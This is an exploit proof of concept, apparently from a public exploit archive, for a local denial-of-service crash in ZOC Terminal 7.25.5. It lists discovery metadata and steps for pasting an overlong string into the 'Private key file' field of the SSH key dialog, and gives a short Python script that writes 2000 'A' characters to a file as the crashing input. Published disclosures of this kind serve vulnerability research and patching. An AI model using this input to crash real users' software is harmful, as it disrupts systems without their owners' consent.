ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)

# Exploit Title: ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.emtec.com
# Software Link : http://www.emtec.com/downloads/zoc/zoc7255_x64.exe
# Tested Version: 7.25.5
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: ZOC_7.25.5_PrivateKeyFile.py
#2.- Open ZOC_7.25.5_PrivateKeyFile.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select File > Create SSH Key Files... 
#5.- Select "Private key file:" field erease and Paste ClipBoard 
#6.- Click on "Create public/private key files..."
#7.- Crashed

buffer = "\x41" * 2000
f = open ("ZOC_7.25.5_PrivateKeyFile.txt", "w")
f.write(buffer)
f.close()